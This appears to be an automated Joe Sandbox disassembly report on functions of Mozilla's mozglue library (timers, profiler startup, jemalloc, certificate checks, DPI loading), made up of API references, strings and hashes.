Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction ID: 3486bdc2898a9c3590216026ac65d98bfd3b8615ef31126aa4673aadb22cde49
Opcode Fuzzy Hash: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction Fuzzy Hash: 01210A31741204ABDB04EB64DC88FAE77B9AF8A345F920119F903A7740EB606C0087A4

Function 6C4D3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4D3095

Part of subcall function 6C4D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
Part of subcall function 6C4D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
Part of subcall function 6C4D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
Part of subcall function 6C4D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
Part of subcall function 6C4D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
Part of subcall function 6C4D35A0: __aulldiv.LIBCMT ref: 6C4D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D309F

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4D30BE

Part of subcall function 6C4D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4D3127
Part of subcall function 6C4D30F0: __aulldiv.LIBCMT ref: 6C4D3140

Part of subcall function 6C50AB2A: __onexit.LIBCMT ref: 6C50AB30

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction ID: 66097be16bfdabe81cced5cd634c997d94d1efe024e7a8a03a8a637d5ed1624c
Opcode Fuzzy Hash: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction Fuzzy Hash: 6CF02D32E2074897CB10EF348C916E77770AFAB114F92531DE845535A1FB2071D883C9

Non-executed Functions

Function 6C4E5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E54BE
__Init_thread_footer.LIBCMT ref: 6C4E54DB

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C4E5516
GetCurrentThreadId.KERNEL32 ref: 6C4E556A
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C4E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C4E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4E55E6
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E5616

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetCurrentThreadId.KERNEL32 ref: 6C4E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C4E567C
free.MOZGLUE(?), ref: 6C4E56AE

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4E56E8
GetCurrentThreadId.KERNEL32 ref: 6C4E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C4E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C4E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C4E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C4E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C4E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4E57CA

Strings

MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4E57AE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4E5724
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C4E5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C4E5C56
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4E56E3
[I %d/%d] profiler_init, xrefs: 6C4E564E
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E54B9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C4E5D2B
MOZ_BASE_PROFILER_HELP, xrefs: 6C4E5511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C4E5AC9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4E5766
MOZ_PROFILER_STARTUP, xrefs: 6C4E55E1
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C4E5CF9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C4E5D01
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E54A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4E5717
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E548D
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C4E5BBE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4E5791
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4E5749
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C4E5D1C
GeckoMain, xrefs: 6C4E5554, 6C4E55D5
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4E57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C4E5B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C4E584E

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction ID: c6530db8d483001a9cc3a5be6f4a3ddaa2171a2141896f4e08c50ecbdeb1dc71
Opcode Fuzzy Hash: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction Fuzzy Hash: 26223774A043009FE700EF758C08E5A7BF1BF8A34EF86452AE84997B41EB319855CB57

Function 6C51B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51B845
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51B852
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51B884
InitializeConditionVariable.KERNEL32(?), ref: 6C51B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C51B9FD
GetCurrentThreadId.KERNEL32 ref: 6C51BA05
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C51BA27
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51BA4B
free.MOZGLUE(?), ref: 6C51C9C7
free.MOZGLUE(?), ref: 6C51C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C51C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C51C878

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction ID: f1613b9c6a0f6f171ad42f7b8f67fdec7367b8082a77b475d31e27ae16e26214
Opcode Fuzzy Hash: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction Fuzzy Hash: 02A2A071A083808FD725DF28C884B9FB7E5BFC9314F458A2DE89997750DB71A905CB82

Function 6C4E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4E6D26

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4E6D73
free.MOZGLUE(00000000), ref: 6C4E6D80
CertGetNameStringW.CRYPT32 ref: 6C4E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4E6E34
CreateFileW.KERNEL32 ref: 6C4E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E7103
free.MOZGLUE(00000000), ref: 6C4E7153
CloseHandle.KERNEL32(?), ref: 6C4E7176
__Init_thread_footer.LIBCMT ref: 6C4E7209
__Init_thread_footer.LIBCMT ref: 6C4E723A
__Init_thread_footer.LIBCMT ref: 6C4E726B
__Init_thread_footer.LIBCMT ref: 6C4E729C
__Init_thread_footer.LIBCMT ref: 6C4E72DC
__Init_thread_footer.LIBCMT ref: 6C4E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4E73C2
VerSetConditionMask.NTDLL ref: 6C4E73F3
VerSetConditionMask.NTDLL ref: 6C4E73FF
VerSetConditionMask.NTDLL ref: 6C4E7406
VerSetConditionMask.NTDLL ref: 6C4E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4E741A
moz_xmalloc.MOZGLUE(?), ref: 6C4E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4E7598
free.MOZGLUE(00000000), ref: 6C4E75AC

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

wintrust.dll, xrefs: 6C4E72CD
(, xrefs: 6C4E768A
SHA256, xrefs: 6C4E6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C4E72C8

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction ID: b06d740a9e50ccc23b9188a737284425df4012e8f07ba094d70d310e95f2117a
Opcode Fuzzy Hash: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction Fuzzy Hash: B052F671A043149BEB21DF24CC84FAA77B8EF89319F524199E909A7741DB70AF85CF90

Function 6C506FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C507019
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C507061
EnterCriticalSection.KERNEL32(?), ref: 6C5071A4
LeaveCriticalSection.KERNEL32(?), ref: 6C50721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C50723E
EnterCriticalSection.KERNEL32(?), ref: 6C50726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5072B2
LeaveCriticalSection.KERNEL32(?), ref: 6C50733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5073E8
LeaveCriticalSection.KERNEL32(?), ref: 6C50961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C509622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C509642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096DB
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C509747
GetSystemInfo.KERNEL32(?), ref: 6C509792
__Init_thread_footer.LIBCMT ref: 6C5097A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C5097CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C509838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C509874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C509895

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5099D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5099BD
MOZ_CRASH(), xrefs: 6C509B42
Compile-time page size does not divide the runtime one., xrefs: 6C509B38
MALLOC_OPTIONS, xrefs: 6C5097CA
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C509993
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C509933, 6C509A33, 6C509A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6C509BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5099A8
<jemalloc>, xrefs: 6C509B33, 6C509BE3

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction ID: 4b3d0686faad25a8062c089349d5a08f7aafd27d2a3ff80a47eb39d307e18f48
Opcode Fuzzy Hash: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction Fuzzy Hash: B9535D71B057018FD714CF28C981615BBE1BF8A328F29CAADE869CB795D771E841CB81

Function 6C510DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C510F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C510F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C510FB7
EnterCriticalSection.KERNEL32(?), ref: 6C510FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C511031
LeaveCriticalSection.KERNEL32(?), ref: 6C5110D0
EnterCriticalSection.KERNEL32(?), ref: 6C51117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C511C39
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C513391
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C5133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C513431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5137D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5137BD
MOZ_CRASH(), xrefs: 6C513950
Compile-time page size does not divide the runtime one., xrefs: 6C513946
MALLOC_OPTIONS, xrefs: 6C5135FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C513793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C513559, 6C51382D, 6C513848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C513A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5137A8
<jemalloc>, xrefs: 6C513941, 6C5139F1

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction ID: b53373d5aa5099417f6ca6d7f0cb2d802ad99c7a3cd5cceec69db28c209a78ce
Opcode Fuzzy Hash: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction Fuzzy Hash: 5653B271A097018FE704CF19C954616FBE1BF86328F29C7ADE8699BB91D371E841CB81

Function 6C5355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C50E1A5), ref: 6C535606
LoadLibraryW.KERNEL32(gdi32,?,6C50E1A5), ref: 6C53560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C535633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C53563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C53566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C53567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C535696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C535716
